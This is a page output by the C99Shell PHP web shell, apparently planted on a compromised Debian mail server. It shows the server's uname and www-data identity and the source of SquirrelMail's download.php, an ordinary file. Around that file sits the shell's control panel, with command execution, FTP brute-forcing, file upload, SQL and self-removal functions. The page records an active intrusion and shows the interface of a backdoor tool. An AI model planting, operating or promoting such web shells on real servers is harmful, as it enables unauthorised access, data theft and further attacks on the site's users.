!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 

uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC
2014 x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/squirrelmail/src/   drwxr-xr-x
Free 130.04 GB of 142.11 GB (91.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     download.php (5.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * download.php
 *
 * Handles attachment downloads to the users computer.
 * Also allows displaying of attachments when possible.
 *
 * @copyright 1999-2010 The SquirrelMail Project Team
 * @license http://opensource.org/licenses/gpl-license.php GNU Public License
 * @version $Id: download.php 13893 2010-01-25 02:47:41Z pdontthink $
 * @package squirrelmail
 */

/** This is the download page */
define('PAGE_NAME''download');

/**
 * Path for SquirrelMail required files.
 * @ignore
 */
define('SM_PATH','../');

/* SquirrelMail required files. */
require_once(SM_PATH 'include/validate.php');
require_once(
SM_PATH 'functions/imap.php');
require_once(
SM_PATH 'functions/mime.php');

header('Pragma: ');
header('Cache-Control: cache');

/* globals */
sqgetGlobalVar('key',        $key,          SQ_COOKIE);
sqgetGlobalVar('username',   $username,     SQ_SESSION);
sqgetGlobalVar('onetimepad'$onetimepad,   SQ_SESSION);
sqgetGlobalVar('messages',   $messages,     SQ_SESSION);
sqgetGlobalVar('mailbox',    $mailbox,      SQ_GET);
sqgetGlobalVar('ent_id',     $ent_id,       SQ_GET);
sqgetGlobalVar('absolute_dl',$absolute_dl,  SQ_GET);
if ( 
sqgetGlobalVar('passed_id'$tempSQ_GET) ) {
    
$passed_id = (int) $temp;
}

global 
$default_charset;
set_my_charset();

/* end globals */

global $uid_support;

$imapConnection sqimap_login($username$key$imapServerAddress$imapPort0);
$mbx_response =  sqimap_mailbox_select($imapConnection$mailbox);

$message '';

if (isset(
$messages[$mbx_response['UIDVALIDITY']]["$passed_id"])) {
    
$message $messages[$mbx_response['UIDVALIDITY']]["$passed_id"];
}

if (!
is_object($message)) {
    
$message sqimap_get_message($imapConnection,$passed_id$mailbox);
}

$subject $message->rfc822_header->subject;
if (
$ent_id) {
    
$message $message->getEntity($ent_id);
    
$header $message->header;

    if (
$message->rfc822_header) {
       
$subject $message->rfc822_header->subject;
    } else {
       
$header $message->header;
    }
    
$type0 $header->type0;
    
$type1 $header->type1;
    
$encoding strtolower($header->encoding);
} else {
    
/* raw message */
    
$type0 'message';
    
$type1 'rfc822';
    
$encoding '7bit';
    
$header $message->header;
}

/*
 * lets redefine message as this particular entity that we wish to display.
 * it should hold only the header for this entity.  We need to fetch the body
 * yet before we can display anything.
 */

if (isset($override_type0)) {
    
$type0 $override_type0;
}
if (isset(
$override_type1)) {
    
$type1 $override_type1;
}
$filename '';
if (
is_object($message->header->disposition)) {
    
$filename $header->disposition->getProperty('filename');
    if (!
$filename) {
        
$filename $header->disposition->getProperty('name');
    }
    if (!
$filename) {
        
$filename $header->getParameter('name');
    }
} else {
    
$filename $header->getParameter('name');
}

$filename decodeHeader($filename,true,false);
$filename charset_encode($filename,$default_charset,false);

// If name is not set, use subject of email
if (strlen($filename) < 1) {
    
$filename decodeHeader($subjecttruetrue);
    
$filename charset_encode($filename,$default_charset,false);
    if (
$type1 == 'plain' && $type0 == 'text')
        
$suffix 'txt';
    else if (
$type1 == 'richtext' && $type0 == 'text')
        
$suffix 'rtf';
    else if (
$type1 == 'postscript' && $type0 == 'application')
        
$suffix 'ps';
    else if (
$type1 == 'rfc822' && $type0 == 'message')
        
$suffix 'msg';
    else
        
$suffix $type1;

    if (
$filename == '')
        
$filename 'untitled' strip_tags($ent_id);
    
$filename $filename '.' $suffix;
}

/**
 * Close session in order to prevent script locking on larger 
 * downloads. SendDownloadHeaders() and mime_print_body_lines() 
 * don't write information to session. mime_print_body_lines() 
 * call duration depends on size of attachment and script can 
 * cause interface lockups, if session is not closed.
 */
session_write_close();

/*
 * Note:
 *    The following sections display the attachment in different
 *    ways depending on how they choose.  The first way will download
 *    under any circumstance.  This sets the Content-type to be
 *    applicatin/octet-stream, which should be interpreted by the
 *    browser as "download me".
 *      The second method (view) is used for images or other formats
 *    that should be able to be handled by the browser.  It will
 *    most likely display the attachment inline inside the browser.
 *      And finally, the third one will be used by default.  If it
 *    is displayable (text or html), it will load them up in a text
 *    viewer (built in to squirrelmail).  Otherwise, it sets the
 *    content-type as application/octet-stream
 */
if (isset($absolute_dl) && $absolute_dl) {
    
SendDownloadHeaders($type0$type1$filename1);
} else {
    
SendDownloadHeaders($type0$type1$filename0);
}
/* be aware that any warning caused by download.php will corrupt the
 * attachment in case of ERROR reporting = E_ALL and the output is the screen */
mime_print_body_lines ($imapConnection$passed_id$ent_id$encoding);

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0236 ]--